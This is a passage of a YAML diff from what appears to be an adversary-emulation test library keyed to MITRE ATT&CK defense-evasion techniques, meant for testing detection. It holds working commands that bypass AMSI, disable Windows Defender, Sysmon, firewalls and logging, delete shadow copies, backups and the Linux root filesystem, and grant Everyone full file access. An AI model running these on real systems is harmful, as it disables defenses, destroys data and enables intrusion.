File monitoring + - Process monitoring + - Process command-line parameters + name: Deobfuscate/Decode Files or Information + description: |- + Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, [Scripting](https://attack.mitre.org/techniques/T1064), [PowerShell](https://attack.mitre.org/techniques/T1086), or by using utilities present on the system. + + One such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) + + Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016) + + Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript. + id: attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c + modified: '2019-04-25T17:44:54.615Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160). + + Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Matthew Demaske, Adaptforward + - Red Canary + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1140 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1140 + - source_name: Malwarebytes Targeted Attack against Saudi Arabia + description: Malwarebytes Labs. (2017, March 27). New targeted attack against + Saudi Arabia Government. Retrieved July 3, 2017. + url: https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/ + - source_name: Carbon Black Obfuscation Sept 2016 + description: Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved + February 12, 2018. + url: https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/ + - source_name: Volexity PowerDuke November 2016 + description: 'Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election + Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January + 11, 2017.' + url: https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/ + x_mitre_defense_bypassed: + - Anti-virus + - Host intrusion prevention systems + - Signature-based detection + - Network intrusion detection system + identifier: T1140 + atomic_tests: + - name: Deobfuscate/Decode Files Or Information + description: | + Encode/Decode executable + Upon execution a file named T1140_calc_decoded.exe will be placed in the temp folder + supported_platforms: + - windows + input_arguments: + executable: + description: name of executable + type: path + default: C:\Windows\System32\calc.exe + executor: + name: command_prompt + elevation_required: false + command: | + certutil -encode #{executable} %temp%\T1140_calc.txt + certutil -decode %temp%\T1140_calc.txt %temp%\T1140_calc_decoded.exe + cleanup_command: | + del %temp%\T1140_calc.txt >nul 2>&1 + del %temp%T1140_calc_decoded.exe >nul 2>&1 + - name: Certutil Rename and Decode + description: 'Rename certutil and decode a file. This is in reference to latest + research by FireEye [here](https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html) + + ' + supported_platforms: + - windows + input_arguments: + executable: + description: name of executable/file to decode + type: path + default: C:\Windows\System32\calc.exe + executor: + name: command_prompt + elevation_required: false + command: | + copy %windir%\system32\certutil.exe %temp%\tcm.tmp + %temp%\tcm.tmp -encode #{executable} %temp%\T1140_calc.txt + %temp%\tcm.tmp -decode %temp%\T1140_calc.txt %temp%\T1140_calc_decoded.exe + cleanup_command: | + del %temp%\tcm.tmp >nul 2>&1 + del %temp%\T1140_calc.txt >nul 2>&1 + del %temp%T1140_calc_decoded.exe >nul 2>&1 + T1089: + technique: + x_mitre_data_sources: + - API monitoring + - File monitoring + - Services + - Windows Registry + - Process command-line parameters + - Anti-virus + name: Disabling Security Tools + description: Adversaries may disable security tools to avoid possible detection + of their tools and activities. This can take the form of killing security + software or event logging processes, deleting Registry keys so that tools + do not start at run time, or other methods to interfere with security scanning + or event reporting. + id: attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044 + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Monitor processes and command-line arguments to see if security + tools are killed or stop running. Monitor Registry edits for modifications + to services and startup programs that correspond to security tools. Lack of + log or event file reporting may be suspicious. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + modified: '2019-07-17T19:02:55.134Z' + created: '2017-05-31T21:31:07.958Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1089 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1089 + - source_name: capec + external_id: CAPEC-578 + url: https://capec.mitre.org/data/definitions/578.html + x_mitre_defense_bypassed: + - File monitoring + - Host intrusion prevention systems + - Signature-based detection + - Log analysis + - Anti-virus + identifier: T1089 + atomic_tests: + - name: Disable iptables firewall + description: 'Disables the iptables firewall + + ' + supported_platforms: + - linux + executor: + name: sh + command: | + if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ]; + then + service iptables stop + chkconfig off iptables + service ip6tables stop + chkconfig off ip6tables + else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ]; + systemctl stop firewalld + systemctl disable firewalld + fi + - name: Disable syslog + description: 'Disables syslog collection + + ' + supported_platforms: + - linux + executor: + name: sh + command: | + if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ]; + then + service rsyslog stop + chkconfig off rsyslog + else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ]; + systemctl stop rsyslog + systemctl disable rsyslog + fi + - name: Disable Cb Response + description: 'Disable the Cb Response service + + ' + supported_platforms: + - linux + executor: + name: sh + command: | + if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ]; + then + service cbdaemon stop + chkconfig off cbdaemon + else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ]; + systemctl stop cbdaemon + systemctl disable cbdaemon + fi + - name: Disable SELinux + description: 'Disables SELinux enforcement + + ' + supported_platforms: + - linux + executor: + name: sh + command: 'setenforce 0 + + ' + - name: Disable Carbon Black Response + description: 'Disables Carbon Black Response + + ' + supported_platforms: + - macos + executor: + name: sh + command: 'sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.daemon.plist + + ' + - name: Disable LittleSnitch + description: 'Disables LittleSnitch + + ' + supported_platforms: + - macos + executor: + name: sh + command: 'sudo launchctl unload /Library/LaunchDaemons/at.obdev.littlesnitchd.plist + + ' + - name: Disable OpenDNS Umbrella + description: 'Disables OpenDNS Umbrella + + ' + supported_platforms: + - macos + executor: + name: sh + command: 'sudo launchctl unload /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist + + ' + - name: Unload Sysmon Filter Driver + description: 'Unloads the Sysinternals Sysmon filter driver without stopping + the Sysmon service. + + ' + supported_platforms: + - windows + input_arguments: + sysmon_driver: + description: The name of the Sysmon filter driver (this can change from + the default) + type: string + default: SysmonDrv + dependencies: + - description: Sysmon filter must be loaded + prereq_command: 'fltmc.exe filters | findstr #{sysmon_driver}' + get_prereq_command: echo Automated installer not implemented yet, please install + Sysmon manually + executor: + name: command_prompt + elevation_required: true + prereq_command: 'fltmc.exe filters | findstr #{sysmon_driver} + + ' + command: 'fltmc.exe unload #{sysmon_driver} + + ' + cleanup_command: | + sc stop sysmon + fltmc.exe load #{sysmon_driver} + sc start sysmon + - name: Disable Windows IIS HTTP Logging + description: | + Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union). + This action requires HTTP logging configurations in IIS to be unlocked. + supported_platforms: + - windows + input_arguments: + website_name: + description: The name of the website on a server + type: string + default: Default Web Site + executor: + name: powershell + prereq_command: 'if(Test-Path C:\Windows\System32\inetsrv\appcmd.exe) {exit + 0} else {exit 1} + + ' + command: 'C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" + /section:httplogging /dontLog:true + + ' + cleanup_command: 'C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" + /section:httplogging /dontLog:false + + ' + - name: Uninstall Sysmon + description: 'Uninstall Sysinternals Sysmon for Defense Evasion + + ' + supported_platforms: + - windows + input_arguments: + sysmon_exe: + description: The location of the Sysmon executable from Sysinternals (ignored + if sysmon.exe is found in your PATH) + type: Path + default: PathToAtomicsFolder\T1089\bin\sysmon.exe + dependency_executor_name: powershell + dependencies: + - description: Sysmon executable must be available + prereq_command: if(cmd /c where sysmon) {exit 0} else {exit 1} + get_prereq_command: |- + $parentpath = Split-Path "#{sysmon_exe}"; $zippath = "$parentpath\Sysmon.zip" + New-Item -ItemType Directory $parentpath -Force | Out-Null + Invoke-WebRequest "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "$zippath" + Expand-Archive $zippath $parentpath -Force; Remove-Item $zippath + if(-not ($Env:Path).contains($parentpath)){$Env:Path += ";$parentpath"} + - description: Sysmon must be installed + prereq_command: if(cmd /c sc query sysmon) { exit 0} else { exit 1} + get_prereq_command: cmd /c sysmon -i -accepteula + executor: + name: command_prompt + elevation_required: true + command: 'sysmon -u + + ' + cleanup_command: 'sysmon -i -accepteula + + ' + - name: AMSI Bypass - AMSI InitFailed + description: | + Any easy way to bypass AMSI inspection is it patch the dll in memory setting the "amsiInitFailed" function to true. + https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/ + supported_platforms: + - windows + executor: + name: powershell + elevation_required: false + command: "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)\n" + cleanup_command: "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$false)\n" + - name: AMSI Bypass - Remove AMSI Provider Reg Key + description: | + With administrative rights, an adversary can remove the AMSI Provider registry key in HKLM\Software\Microsoft\AMSI to disable AMSI inspection. + This test removes the Windows Defender provider registry key. + supported_platforms: + - windows + executor: + name: powershell + elevation_required: true + command: 'Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" + -Recurse + + ' + cleanup_command: 'New-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" + -Name "{2781761E-28E0-4109-99FE-B9D127C57AFE}" + + ' + - name: Disable Arbitrary Security Windows Service + description: 'With administrative rights, an adversary can disable Windows Services + related to security products. + + ' + supported_platforms: + - windows + input_arguments: + service_name: + description: The name of the service to stop + type: String + default: McAfeeDLPAgentService + executor: + name: command_prompt + elevation_required: true + command: | + net.exe stop #{service_name} + sc.exe config #{service_name} start= disabled + cleanup_command: | + sc.exe config #{service_name} start= auto + net.exe start #{service_name} + - name: Disable PowerShell Script Block Logging + description: | + An adversary may disable PowerShell Script Block Logging to avoid leaving evidence. + + Credit to Matt Graeber (@mattifestation) for the research. + supported_platforms: + - windows + executor: + name: powershell + elevation_required: false + command: | + $GroupPolicySettingsField = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPublic,Static') + $GroupPolicySettings = $GroupPolicySettingsField.GetValue($null) + $GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0 + $GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0 + cleanup_command: | + $GroupPolicySettingsField = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPublic,Static') + $GroupPolicySettings = $GroupPolicySettingsField.GetValue($null) + $GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 1 + $GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 1 + - name: PowerShell Bypass of AntiMalware Scripting Interface + description: | + An adversary may bypass Windows Defender AMSI to execute malicious PowerShell code. + + Credit to Matt Graeber (@mattifestation) for the research. + supported_platforms: + - windows + executor: + name: powershell + elevation_required: false + command: '[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField(''amsiInitFailed'',''NonPublic,Static'').SetValue($null,$true) + + ' + - name: Tamper with Windows Defender ATP PowerShell + description: 'Attempting to disable scheduled scanning and other parts of windows + defender atp + + ' + supported_platforms: + - windows + executor: + name: powershell + elevation_required: true + command: | + Set-MpPreference -DisableRealtimeMonitoring 1 + Set-MpPreference -DisableBehaviorMonitoring 1 + Set-MpPreference -DisableScriptScanning 1 + Set-MpPreference -DisableBlockAtFirstSeen 1 + cleanup_command: | + Set-MpPreference -DisableRealtimeMonitoring 0 + Set-MpPreference -DisableBehaviorMonitoring 0 + Set-MpPreference -DisableScriptScanning 0 + Set-MpPreference -DisableBlockAtFirstSeen 0 + - name: Tamper with Windows Defender Command Prompt + description: 'Attempting to disable scheduled scanning and other parts of windows + defender atp + + ' + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: true + command: | + sc stop WinDefend + sc config WinDefend start=disabled + sc query WinDefend + cleanup_command: | + sc start WinDefend + sc config WinDefend start=enabled + - name: Tamper with Windows Defender Registry + description: 'Disable Windows Defender from starting after a reboot + + ' + supported_platforms: + - windows + executor: + name: powershell + elevation_required: true + command: 'Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" + -Name DisableAntiSpyware -Value 1 + + ' + cleanup_command: 'Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows + Defender" -Name DisableAntiSpyware -Value 0 + + ' + - name: Disable Microft Office Security Features + description: | + Gorgon group may disable Office security features so that their code can run + https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/ + supported_platforms: + - windows + executor: + name: powershell + elevation_required: false + command: | + New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel" + New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" + New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" + New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name "VBAWarnings" -Value "1" -PropertyType "Dword" + New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableInternetFilesInPV" -Value "1" -PropertyType "Dword" + New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableUnsafeLocationsInPV" -Value "1" -PropertyType "Dword" + New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableAttachementsInPV" -Value "1" -PropertyType "Dword" + cleanup_command: | + Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name "VBAWarnings" + Remove-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" + - name: Remove Windows Defender Definition Files + description: | + Removing definition files would cause ATP to not fire for AntiMalware + Check MpCmdRun.exe man page for info on all arguments + https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/ + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: true + command: '"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions + -All + + ' + T1107: + technique: + x_mitre_data_sources: + - File monitoring + - Process command-line parameters + - Binary file metadata + x_mitre_permissions_required: + - User + name: File Deletion + description: |- + Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process. + + There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools) + id: attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59 + modified: '2019-07-17T21:18:43.664Z' + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: It may be uncommon for events related to benign command-line + functions such as DEL or third-party utilities or tools to be found in an + environment, depending on the user base and how systems are typically used. + Monitoring for command-line deletion functions to correlate with binaries + or other files that an adversary may drop and remove may lead to detection + of malicious activity. Another good practice is monitoring for known deletion + and secure deletion tools that are not already on systems within an enterprise + network that an adversary could introduce. Some monitoring tools may collect + command-line arguments, but may not capture DEL commands since DEL is a native + function within cmd.exe. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Walker Johnson + created: '2017-05-31T21:31:17.915Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1107 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1107 + - source_name: Trend Micro APT Attack Tools + description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools + of the Trade. Retrieved December 2, 2015.' + url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/ + x_mitre_defense_bypassed: + - Host forensic analysis + identifier: T1107 + atomic_tests: + - name: Delete a single file - Linux/macOS + description: 'Delete a single file from the temporary directory + + ' + supported_platforms: + - linux + - macos + input_arguments: + file_to_delete: + description: Path of file to delete + type: Path + default: "/tmp/victim-files/a" + executor: + name: sh + command: 'rm -f #{file_to_delete} + + ' + - name: Delete an entire folder - Linux/macOS + description: 'Recursively delete the temporary directory and all files contained + within it + + ' + supported_platforms: + - linux + - macos + input_arguments: + folder_to_delete: + description: Path of folder to delete + type: Path + default: "/tmp/victim-files" + executor: + name: sh + command: 'rm -rf #{folder_to_delete} + + ' + - name: Overwrite and delete a file with shred + description: 'Use the `shred` command to overwrite the temporary file and then + delete it + + ' + supported_platforms: + - linux + input_arguments: + file_to_shred: + description: Path of file to shred + type: Path + default: "/tmp/victim-shred.txt" + executor: + name: sh + command: 'shred -u #{file_to_shred} + + ' + - name: Delete a single file - Windows cmd + description: 'Delete a single file from the temporary directory using cmd.exe + + ' + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: false + command: | + echo "T1107" > %temp%\T1107.txt + del /f %temp%\T1107.txt >nul 2>&1 + - name: Delete an entire folder - Windows cmd + description: 'Recursively delete the temporary directory and all files contained + within it using cmd.exe + + ' + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: false + command: | + mkdir %temp%\T1107 + rmdir /s /q %temp%\T1107 + - name: Delete a single file - Windows PowerShell + description: 'Delete a single file from the temporary directory using Powershell + + ' + supported_platforms: + - windows + executor: + name: powershell + elevation_required: false + command: | + New-Item $env:TEMP\T1107.txt + Remove-Item -path $env:TEMP\T1107.txt + - name: Delete an entire folder - Windows PowerShell + description: 'Recursively delete the temporary directory and all files contained + within it using Powershell + + ' + supported_platforms: + - windows + executor: + name: powershell + elevation_required: false + command: | + New-Item $env:TEMP\T1107 -ItemType Directory + Remove-Item -path $env:TEMP\T1107 -recurse + - name: Delete VSS - vssadmin + description: 'Delete all volume shadow copies with vssadmin.exe + + ' + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: true + command: 'vssadmin.exe Delete Shadows /All /Quiet + + ' + - name: Delete VSS - wmic + description: 'Delete all volume shadow copies with wmic + + ' + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: true + command: 'wmic shadowcopy delete + + ' + - name: bcdedit + description: 'This test leverages `bcdedit` to remove boot-time recovery measures. + + ' + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: true + command: | + bcdedit /set {default} bootstatuspolicy ignoreallfailures + bcdedit /set {default} recoveryenabled no + - name: wbadmin + description: 'This test deletes Windows Backup catalogs. + + ' + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: true + command: 'wbadmin delete catalog -quiet + + ' + - name: Delete Filesystem - Linux + description: 'This test deletes the entire root filesystem of a Linux system. + This technique was used by Amnesia IoT malware to avoid analysis. This test + is dangerous and destructive, do NOT use on production equipment. + + ' + supported_platforms: + - linux + executor: + name: bash + command: 'rm -rf / --no-preserve-root > /dev/null 2> /dev/null + + ' + - name: Delete-PrefetchFile + description: 'Delete a single prefetch file. Deletion of prefetch files is + a known anti-forensic technique. + + ' + supported_platforms: + - windows + executor: + name: powershell + elevation_required: true + command: 'Remove-Item -Path (Join-Path "$Env:SystemRoot\prefetch\" (Get-ChildItem + -Path "$Env:SystemRoot\prefetch\*.pf" -Name)[0]) + + ' + - name: Delete TeamViewer Log Files + description: | + Adversaries may delete TeamViewer log files to hide activity. This should provide a high true-positive alert ration. + This test just places the files in a non-TeamViewer folder, a detection would just check for a deletion event matching the TeamViewer + log file format of TeamViewerXX_Logfile.log + https://twitter.com/SBousseaden/status/1197524463304290305?s=20 + supported_platforms: + - windows + - macos + executor: + name: powershell + elevation_required: false + command: | + if ($env:os -eq "Windows_NT") { + New-Item $env:TEMP\TeamViewer_54.log + Remove-Item $env:TEMP\TeamViewer_54.log + } else { + New-Item $env:HOME\TeamViewer_54.log + Remove-Item $env:HOME\TeamViewer_54.log + } + T1222: + technique: + x_mitre_data_sources: + - File monitoring + - Process monitoring + - Process command-line parameters + - Windows event logs + x_mitre_permissions_required: + - User + - Administrator + - SYSTEM + - root + name: File and Directory Permissions Modification + description: |- + File and directory permissions are commonly managed by discretionary access control lists (DACLs) specified by the file or directory owner. File and directory DACL implementations may vary by platform, but generally explicitly designate which users/groups can perform which actions (ex: read, write, execute, etc.). (Citation: Microsoft DACL May 2018) (Citation: Microsoft File Rights May 2018) (Citation: Unix File Permissions) + + Adversaries may modify file or directory permissions/attributes to evade intended DACLs. (Citation: Hybrid Analysis Icacls1 June 2018) (Citation: Hybrid Analysis Icacls2 May 2018) Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions such as Administrator/root depending on the file or directory's existing permissions to enable malicious activity such as modifying, replacing, or deleting specific files/directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1015), [Logon Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files. + id: attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196 + modified: '2019-07-09T15:01:23.290Z' + x_mitre_platforms: + - Linux + - Windows + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '2.0' + type: attack-pattern + x_mitre_detection: |- + Monitor and investigate attempts to modify DACLs and file/directory ownership, such as use of icacls (Citation: Microsoft icacls OCT 2017), takeown (Citation: Microsoft takeown OCT 2017), attrib (Citation: Microsoft attrib OCT 2017), and [PowerShell](https://attack.mitre.org/techniques/T1086) Set-Acl (Citation: Microsoft SetAcl) in Windows and chmod (Citation: Linux chmod)/chown (Citation: Linux chown) in macOS/Linux. Many of these are built-in system utilities and may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. + + Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. Windows Security Log events (Event ID 4670) are used when DACLs are modified. (Citation: EventTracker File Permissions Feb 2014) + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - CrowdStrike Falcon OverWatch + - Jan Miller, CrowdStrike + created: '2018-10-17T00:14:20.652Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1222 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1222 + - source_name: Microsoft DACL May 2018 + description: Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19, + 2018. + url: https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces + - source_name: Microsoft File Rights May 2018 + description: Microsoft. (2018, May 30). File Security and Access Rights. Retrieved + August 19, 2018. + url: https://docs.microsoft.com/windows/desktop/fileio/file-security-and-access-rights + - source_name: Unix File Permissions + description: Tutorials Point. (n.d.). Unix / Linux - File Permission / Access + Modes. Retrieved August 19, 2018. + url: https://www.tutorialspoint.com/unix/unix-file-permission.htm + - source_name: Hybrid Analysis Icacls1 June 2018 + description: Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. + Retrieved August 19, 2018. + url: https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100 + - source_name: Hybrid Analysis Icacls2 May 2018 + description: Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. + Retrieved August 19, 2018. + url: https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110 + - source_name: Microsoft icacls OCT 2017 + description: Plett, C. et al.. (2017, October 17). icacls. Retrieved August + 19, 2018. + url: https://docs.microsoft.com/windows-server/administration/windows-commands/icacls + - source_name: Microsoft takeown OCT 2017 + description: Plett, C. et al.. (2017, October 15). takeown. Retrieved August + 19, 2018. + url: https://docs.microsoft.com/windows-server/administration/windows-commands/takeown + - source_name: Microsoft attrib OCT 2017 + description: Plett, C. et al.. (2017, October 15). attrib. Retrieved August + 19, 2018. + url: https://docs.microsoft.com/windows-server/administration/windows-commands/attrib + - source_name: Microsoft SetAcl + description: Microsoft. (n.d.). Set-Acl. Retrieved August 19, 2018. + url: https://docs.microsoft.com/powershell/module/microsoft.powershell.security/set-acl + - source_name: Linux chmod + description: MacKenzie, D. & Meyering, J. (n.d.). chmod(1) - Linux man page. + Retrieved August 19, 2018. + url: https://linux.die.net/man/1/chmod + - source_name: Linux chown + description: MacKenzie, D. & Meyering, J. (n.d.). chown(1) - Linux man page. + Retrieved August 19, 2018. + url: https://linux.die.net/man/1/chown + - source_name: EventTracker File Permissions Feb 2014 + description: Netsurion. (2014, February 19). Monitoring File Permission Changes + with the Windows Security Log. Retrieved August 19, 2018. + url: https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/ + x_mitre_defense_bypassed: + - File system access controls + identifier: T1222 + atomic_tests: + - name: Take ownership using takeown utility + description: 'Modifies the filesystem permissions of the specified file or folder + to take ownership of the object. + + ' + supported_platforms: + - windows + input_arguments: + file_folder_to_own: + description: Path of the file or folder for takeown to take ownership. + type: path + default: PathToAtomicsFolder\T1222\T1222.yaml + executor: + name: command_prompt + command: 'takeown.exe /f #{file_folder_to_own} + + ' + - name: Take ownership recursively using takeown utility + description: 'Modifies the filesystem permissions of the specified folder to + take ownership of it and its contents. + + ' + supported_platforms: + - windows + input_arguments: + folder_to_own: + description: Path of the folder for takeown to take ownership. + type: path + default: PathToAtomicsFolder\T1222 + executor: + name: command_prompt + command: 'takeown.exe /f #{folder_to_own} /r + + ' + - name: cacls - Grant permission to specified user or group + description: 'Modifies the filesystem permissions of the specified file or folder + to allow the specified user or group Full Control. + + ' + supported_platforms: + - windows + input_arguments: + file_or_folder: + description: Path of the file or folder to change permissions. + type: path + default: PathToAtomicsFolder\T1222\T1222.yaml + user_or_group: + description: User or group to allow full control + type: string + default: Everyone + executor: + name: command_prompt + command: 'cacls.exe #{file_or_folder} /grant #{user_or_group}:F + + ' + - name: cacls - Grant permission to specified user or group recursively + description: 'Modifies the filesystem permissions of the specified folder and + contents to allow the specified user or group Full Control. + + ' + supported_platforms: + - windows + input_arguments: + file_or_folder: + description: Path of the file or folder to change permissions. + type: path + default: PathToAtomicsFolder\T1222 + user_or_group: + description: User or group to allow full control + type: string + default: Everyone + executor: + name: command_prompt + command: 'cacls.exe #{file_or_folder} /grant #{user_or_group}:F /t + + ' + - name: icacls - Grant permission to specified user or group + description: 'Modifies the filesystem permissions of the specified file or folder + to allow the specified user or group Full Control. + + ' + supported_platforms: + - windows + input_arguments: + file_or_folder: + description: Path of the file or folder to change permissions. + type: path + default: PathToAtomicsFolder\T1222\T1222.yaml + user_or_group: + description: User or group to allow full control + type: string + default: Everyone + executor: + name: command_prompt + command: 'icacls.exe #{file_or_folder} /grant #{user_or_group}:F + + ' + - name: icacls - Grant permission to specified user or group recursively + description: 'Modifies the filesystem permissions of the specified folder and + contents to allow the specified user or group Full Control. + + ' + supported_platforms: + - windows + input_arguments: + file_or_folder: + description: Path of the file or folder to change permissions. + type: path + default: PathToAtomicsFolder\T1222 + user_or_group: + description: User or group to allow full control + type: string + default: Everyone + executor: + name: command_prompt + command: 'icacls.exe #{file_or_folder} /grant #{user_or_group}:F /t + + ' + - name: attrib - Remove read-only attribute + description: 'Removes the read-only attribute from a file or folder using the + attrib.exe command. + + ' + supported_platforms: + - windows + input_arguments: + file_or_folder: + description: 